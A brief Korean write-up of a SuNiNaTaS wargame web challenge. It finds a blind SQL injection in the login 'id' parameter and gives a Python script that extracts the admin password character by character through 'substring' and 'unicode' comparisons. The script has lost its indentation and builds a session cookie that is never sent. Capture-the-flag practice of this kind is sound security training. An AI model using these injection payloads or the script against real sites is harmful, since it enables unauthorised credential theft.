오늘은 22번 문제를 풀겁니다.
일단 페이지 소스를 보면
"admin'"을 사용해서 블라인드 인젝션이 가능할 것 같습니다.
admin' and len(pw) = 10 -- -
이렇게 비밀번호는 10자리라는 걸 알 수 있습니다.
파이썬으로 자동화 해보겠습니다.
from requests import get
url = 'http://suninatas.com/challenge/web22/web22.asp'
password = ''
for i in range(1, 10 + 1):
for j in range(33, 128):
par = f"?id=admin' and unicode(substring(pw,{i},1))={j}--&pw=hyomo"
cookies = {'ASPSESSIONIDAACDSAQA': '자신의 세션 아이디'}
uri = url + par
attack = get(uri)
if attack.text.find("OK") != -1:
print(f"find {chr(j)}")
password += chr(j)
break
print(f"password is {password}")
이렇게 패스워드가 나오는 것을 볼 수 있습니다.